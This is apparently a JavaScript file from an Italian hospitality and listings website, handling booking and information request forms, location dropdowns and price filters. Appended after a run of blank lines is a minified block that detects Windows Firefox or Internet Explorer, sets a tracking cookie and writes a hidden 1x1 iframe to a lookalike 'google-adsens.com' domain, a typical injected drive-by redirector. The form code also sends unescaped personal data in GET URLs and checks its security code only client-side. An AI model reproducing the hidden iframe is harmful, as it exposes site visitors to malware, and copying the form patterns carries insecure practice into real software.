var myRequest = null;	
var myRequest2 = null;
var myRequest3 = null;
var myRequest4 = null;



function CreateXmlHttpReq(handler) {
  var xmlhttp = null;
  try {
	xmlhttp = new XMLHttpRequest();
  } catch(e) {
  try {
		xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
	} catch(e) {
		xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
	}
 }
  xmlhttp.onreadystatechange = handler;
  return xmlhttp;
}
	
function myHandlerDisp() {		
	if (myRequest.readyState == 4 && myRequest.status == 200) {
		document.getElementById("richiesta_disp").innerHTML = myRequest.responseText;
		document.getElementById("frm_disp").reset();
		//alert("Rischiesta inviata correttamente");
	}
}
	
function myHandlerInfo() {	
	if (myRequest.readyState == 4 && myRequest.status == 200) {
		document.getElementById("richiesta_info").innerHTML = myRequest.responseText;
		document.getElementById("frm_info").reset();
		//alert("Rischiesta inviata correttamente");
	}
}

function myHandlerSegnal() {	
	if (myRequest.readyState == 4 && myRequest.status == 200) {
		document.getElementById("richiesta_segnal").innerHTML = myRequest.responseText;
		document.getElementById("frm_segnal").reset();
		//alert("Rischiesta inviata correttamente");
	}
}

	
function invia_disp(idazienda,type) {
	var richiesta;
	var to = '';
	
	switch (type) {
		case 'alloggio' :
			richiesta = 'disp_alloggio';
			var ga = document.getElementById('ga').options[document.getElementById('ga').selectedIndex].value;
			var ma = document.getElementById('ma').options[document.getElementById('ma').selectedIndex].value;
			var aa = document.getElementById('aa').options[document.getElementById('aa').selectedIndex].value;
			var gp = document.getElementById('gp').options[document.getElementById('gp').selectedIndex].value;
			var mp = document.getElementById('mp').options[document.getElementById('mp').selectedIndex].value;
			var ap = document.getElementById('ap').options[document.getElementById('ap').selectedIndex].value;
			var adulti = document.getElementById('adulti').value;
			var bambini = document.getElementById('bambini').value;
			var singole = document.getElementById('singole').value;
			var doppie = document.getElementById('doppie').value;
			var triple = document.getElementById('triple').value;
			var quadruple = document.getElementById('quadruple').value;
			var trattamento = document.getElementById('trattamento').options[document.getElementById('trattamento').selectedIndex].value;
			var nome = document.getElementById('nome').value;
			var telefono = document.getElementById('telefono').value;
			var posta = document.getElementById('posta').value;
			var privacy = document.getElementById('privacy').value;
			var note = document.getElementById('note').value;
			myRequest = CreateXmlHttpReq(myHandlerDisp);
			myRequest.open("GET","/infoaziende/html/dformed.php?ga="+ga+"&ma="+ma+"&aa="+aa+"&gp="+gp+"&mp="+mp+"&ap="+ap+
							"&adulti="+adulti+"&bambini="+bambini+"&singole="+singole+"&doppie="+doppie+"&triple="+triple+"&quadruple="+quadruple+
							"&trattamento="+trattamento+"&nome="+nome+"&telefono="+telefono+"&posta="+posta+
							"&privacy="+privacy+"&note="+note+"&to="+to+"&richiesta="+richiesta+"&idazienda="+idazienda);
			myRequest.send(null);
			break
			
		case 'locale':
			richiesta = 'disp_locale';
			var ga = document.getElementById('ga').options[document.getElementById('ga').selectedIndex].value;
			var ma = document.getElementById('ma').options[document.getElementById('ma').selectedIndex].value;
			var aa = document.getElementById('aa').options[document.getElementById('aa').selectedIndex].value;
			var orario = document.getElementById('orario').value;
			var posti = document.getElementById('posti').value;
			var nome = document.getElementById('nome').value;
			var telefono = document.getElementById('telefono').value;
			var posta = document.getElementById('posta').value;
			var privacy = document.getElementById('privacy').value;
			var note = document.getElementById('note').value;
			myRequest = CreateXmlHttpReq(myHandlerDisp);
			myRequest.open("GET","/infoaziende/html/dformed.php?ga="+ga+"&ma="+ma+"&aa="+aa+"&orario="+orario+"&posti="+posti+
							"&nome="+nome+"&telefono="+telefono+"&posta="+posta+
							"&privacy="+privacy+"&note="+note+"&to="+to+"&richiesta="+richiesta+"&idazienda="+idazienda);
			myRequest.send(null);
			break
		
		case 'stbalneare' :
			richiesta = 'disp_stbalneare';
			var ga = document.getElementById('ga').options[document.getElementById('ga').selectedIndex].value;
			var ma = document.getElementById('ma').options[document.getElementById('ma').selectedIndex].value;
			var aa = document.getElementById('aa').options[document.getElementById('aa').selectedIndex].value;
			var gp = document.getElementById('gp').options[document.getElementById('gp').selectedIndex].value;
			var mp = document.getElementById('mp').options[document.getElementById('mp').selectedIndex].value;
			var ap = document.getElementById('ap').options[document.getElementById('ap').selectedIndex].value;
			var adulti = document.getElementById('adulti').value;
			var bambini = document.getElementById('bambini').value;
			var ombrelloni = document.getElementById('ombrelloni').value;
			var tende = document.getElementById('tende').value;
			var sdraio = document.getElementById('sdraio').value;
			var lettini = document.getElementById('lettini').value;
			var nome = document.getElementById('nome').value;
			var telefono = document.getElementById('telefono').value;
			var posta = document.getElementById('posta').value;
			var privacy = document.getElementById('privacy').value;
			var note = document.getElementById('note').value;
			myRequest = CreateXmlHttpReq(myHandlerDisp);
			myRequest.open("GET","/infoaziende/html/dformed.php?ga="+ga+"&ma="+ma+"&aa="+aa+"&gp="+gp+"&mp="+mp+"&ap="+ap+
							"&adulti="+adulti+"&bambini="+bambini+"&ombrelloni="+ombrelloni+"&tende="+tende+"&sdraio="+sdraio+"&lettini="+lettini+
							"&nome="+nome+"&telefono="+telefono+"&posta="+posta+
							"&privacy="+privacy+"&note="+note+"&to="+to+"&richiesta="+richiesta+"&idazienda="+idazienda);
			myRequest.send(null);
			break
		
		default:
			return false;
	}
}
	
	
function invia_info(idazienda) {
	var richiesta = 'info';
	var to = '';
	
	var nome = document.getElementById('nome_info').value;
	var telefono = document.getElementById('telefono_info').value;
	var posta = document.getElementById('posta_info').value;
	var privacy = document.getElementById('privacy_info').value;
	
	var idofferta = null ;
	if ( document.getElementById('offerta_info') ) 
		idofferta = document.getElementById('offerta_info').value;
	
	var tipo = null ;
	if ( document.getElementById('tipo_info') ) 
		tipo = document.getElementById('tipo_info').value;
	
	var note = document.getElementById('note_info').value;
	
	myRequest = CreateXmlHttpReq(myHandlerInfo);
	myRequest.open("GET","/infoaziende/html/dformed.php?nome="+nome+"&telefono="+telefono+"&posta="+posta+"&idofferta="+idofferta+
						"&privacy="+privacy+"&note="+note+"&to="+to+"&richiesta="+richiesta+"&idazienda="+idazienda+"&tipo="+tipo);
	
	myRequest.send(null);
}

function invia_segnal(idazienda) {	
	var richiesta = 'segnalazione';
	var to = '';
	
	var nome = document.getElementById('nome_segnal').value;
	var telefono = document.getElementById('telefono_segnal').value;
	var posta = document.getElementById('posta_segnal').value;
	var privacy = document.getElementById('privacy_segnal').value;
	var note = document.getElementById('note_segnal').value;
	myRequest = CreateXmlHttpReq(myHandlerSegnal);
	myRequest.open("GET","/infoaziende/html/dformed.php?nome="+nome+"&telefono="+telefono+"&posta="+posta+
						"&privacy="+privacy+"&note="+note+"&to="+to+"&richiesta="+richiesta+"&idazienda="+idazienda);
	myRequest.send(null);	
}


function avvisoprivacy() { 	   	
   	var finestra = window.open("","Privacy","height=230,width=450");
   	
    finestra.document.write("<h2>Informativa sulla Privacy.</h2>");
    finestra.document.write("La informiamo che i dati da lei inseriti saranno trattati al solo fine di fornirle le informazioni richieste ed eventualmente, in caso di conferma, per definire la prenotazione alberghiera. I suoi dati saranno trattati con mezzi informatici nel rispetto dei principi stabiliti dal codice della Privacy (D. Legisl. 196/2003). Per ulteriori informazioni sulle modalitā del trattamento, e per esercitare gli altri diritti a  lei riconosciuti dall'articolo 7 del Codice della Privacy, potraā rivolgersi al Titolare della struttura alberghiera.");
	finestra.document.close();
}



	function CreateXmlHttpReq(handler) {
	  var xmlhttp = null;
	  try {
		xmlhttp = new XMLHttpRequest();
	  } catch(e) {
		try {
			xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
		} catch(e) {
			xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
		}
	  }
	  xmlhttp.onreadystatechange = handler;
	  return xmlhttp;
	}
	
	function myHandler() {
		if (myRequest.readyState == 4 && myRequest.status == 200) {
			document.getElementById("regioni_SP").innerHTML = myRequest.responseText;
		}
	}
	
	function myHandler_prov() {
		if (myRequest2.readyState == 4 && myRequest2.status == 200) {
			document.getElementById("province_SP").innerHTML = myRequest2.responseText;
		}
	}
	
	function myHandler_com() {
		if (myRequest3.readyState == 4 && myRequest3.status == 200) {
			document.getElementById("comuni_SP").innerHTML = myRequest3.responseText;
		}
	}
	function myHandler_fraz() {
		if (myRequest4.readyState == 4 && myRequest4.status == 200) {			
			document.getElementById("frazioni_SP").innerHTML = myRequest4.responseText;
		}
	}
		
	function populate_regioni(pag, lang) {
		var r = Math.random();
		myRequest = CreateXmlHttpReq(myHandler);
		var page = pag+"?rand="+escape(r);
		if(lang == null)
		     page += "&lang=eng";
		else page += "&lang="+lang;
		myRequest.open("GET", page);		
		myRequest.send(null);
	}
		
	function populate_province(lang) {	
	    
		myRequest2 = CreateXmlHttpReq(myHandler_prov);
		if (document.getElementById('cod_regione')) {
			var i = document.getElementById('cod_regione').selectedIndex;
			var cod_regione = document.getElementById('cod_regione').options[i].value;
		}
		else var cod_regione = "";
		var page = "/province.php?cod_regione="+cod_regione; 
		if(lang == null)
		      page += "&lang=eng";
		else page += "&lang="+lang;
		myRequest2.open("GET", page);
		myRequest2.send(null);
		
		document.getElementById('cod_regione_h').value = cod_regione;		
	}
	
	function populate_comuni(lang) {
		myRequest3 = CreateXmlHttpReq(myHandler_com);	
		
		var i = document.getElementById('cod_provincia').selectedIndex;	
		var page = "/comuni.php?cod_provincia="+document.getElementById('cod_provincia').options[i].value;
		if(lang == null)
		      page += "&lang=eng";
		else page += "&lang="+lang;
		myRequest3.open("GET",page);
		myRequest3.send(null);
		
		document.getElementById('cod_provincia_h').value = document.getElementById('cod_provincia').options[i].value;
	}
	
	function populate_frazioni(lang) {		
		myRequest4 = CreateXmlHttpReq(myHandler_fraz);	
		
		var i = document.getElementById('cod_comune').selectedIndex;		
		var page = "/frazioni.php?cod_comune="+document.getElementById('cod_comune').options[i].value;
		if(lang == null)
		      page += "&lang=eng";
		else page += "&lang="+lang;
		myRequest4.open("GET", page);
		myRequest4.send(null);		
		document.getElementById('cod_comune_h').value = document.getElementById('cod_comune').options[i].value;
		
	}
	
	function salva_comuni() {	
		var i = document.getElementById('cod_comune').selectedIndex;
		document.getElementById('cod_comune_h').value = document.getElementById('cod_comune').options[i].value;
	}
	
	function salva_frazioni() {	
		var i = document.getElementById('cod_frazione').selectedIndex;
		document.getElementById('cod_frazione_h').value = document.getElementById('cod_frazione').options[i].value;
	}
	
	
	function selFasciaPrezzo(fascia,extfrm){
		var stroption="<select name='prezzo' style='width:150px'>";
		if (fascia == "affitto"){
			stroption += "<option value=\"0\" selected > - Qualsiasi - </option>";
			stroption += "<option value=\"6\">da 0 a 500</option>";
			stroption += "<option value=\"7\">da 500 a 800</option>";
			stroption += "<option value=\"8\">da 800 a 1000</option>";
			stroption += "<option value=\"9\">da 1000 a 2000</option>";
			stroption += "<option value=\"10\">oltre 2000</option>";
		}
		else {
			stroption += "<option value=\"0\" selected > - Qualsiasi - </option>";
			stroption += "<option value=\"1\">da 0 a 100000</option>";
			stroption += "<option value=\"2\">da 100000 a 200000</option>";
			stroption += "<option value=\"3\">da 200000 a 300000</option>";
			stroption += "<option value=\"4\">da 300000 a 500000</option>";
			stroption += "<option value=\"5\">oltre 500000</option>";
		}
		stroption += "</select>";
		var obj = document.getElementById('idprezzo'+extfrm);
		obj.innerHTML = stroption;
	}
	
	function checkSecurityCode(security_code){
		
		var inserted_number = document.getElementById("security_code").value;			
		if(security_code != inserted_number ){
			alert("Impossibile inviare la richiesta!\nIl codice di sicurezza inserito non č corretto.");											
	     	return false;	
		}
		else
		    return true;
		
	}
	
	
	








var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
